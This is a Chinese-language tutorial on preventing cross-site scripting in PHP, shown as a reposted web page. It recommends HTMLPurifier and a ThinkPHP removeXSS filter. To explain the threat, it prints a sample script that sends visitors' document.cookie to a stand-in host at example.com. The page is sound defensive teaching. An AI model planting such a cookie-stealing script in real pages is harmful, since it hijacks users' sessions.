• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

PHP预防跨站脚本(XSS)攻击且不影响html代码显示效果

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

什么是XSS

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

XSS(跨站脚本攻击)两种形式:输入JS代码或者HTML代码导致页面乱。

几乎所有的网站都有可能会遭遇XSS攻击,它和sql漏洞注入一样,也是web应用经常会考虑到的安全问题之一。XSS被应用在有通过表单提交数据的地方例如评论,注册,信息录入等。如果攻击者输入了不合法内容(比如一段js代码),而且我们队输入没有过滤和转义,跨站脚本漏洞就产生了

如果攻击者在评论区插入了以下代码:

<script>
  document.location =
    'http://www.example.com/xxxx.php?cookies=' +
    document.cookie
</script>

而你没有过滤掉或转义的话,那么你的用户将会把他们的coockie发送的攻击者指定的脚本中。这是极其危险的。

如何避免XSS攻击

其实XSS跨站脚本攻击是很容易避免的。

  • 最常见的方法是使用htmlspecialchar() 方法过滤信息。
    但是使用htmlspecialchar()过滤后会使有些需要显示的Html效果被屏蔽掉比如:

那么我们可以使用一个开源的XSS过滤包htmlpurifier来过滤并且保留我们要展示的html内容

首先我们下载htmlpurifier包并将其放入项目中,一般我们只需要如下一行代码引入就可以调用其方法。

require_once '/path/to/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$html = $purifier->purify($html);

在THINKPHP中使用htmlpurifier

  • 而在thinkphp中,我们通过配置将I方法的默认方法由htmlspecialchar改为使用htmlpurifier。这样使用更加方便。
    首先下载包并将其放入tp的vendor文件夹下。在function.php中定义函数
function removeXSS($data){
	static $purifier;
	if($purifier === NULL){
		vendor('htmlpurifier.library.HTMLPurifier#auto');//引入
		$config = HTMLPurifier_Config::createDefault();
		$purifier = new HTMLPurifier($config);
	}
	return $purifier->purify($data);

Conf文件夹下的config.php中定义了I函数默认的参数过滤方法。

我们将其修改为我们自定义的函数,这样就可以在使用I方法的时候实现自定义的动态过滤
代码如下

    'DEFAULT_FILTER' => 'trim,removeXSS',


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
CodeIgniter如何去掉Index.php-apache服务器发布时间:2022-07-10
下一篇:
PHP 5 Release Candidate 1 Released!发布时间:2022-07-10
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap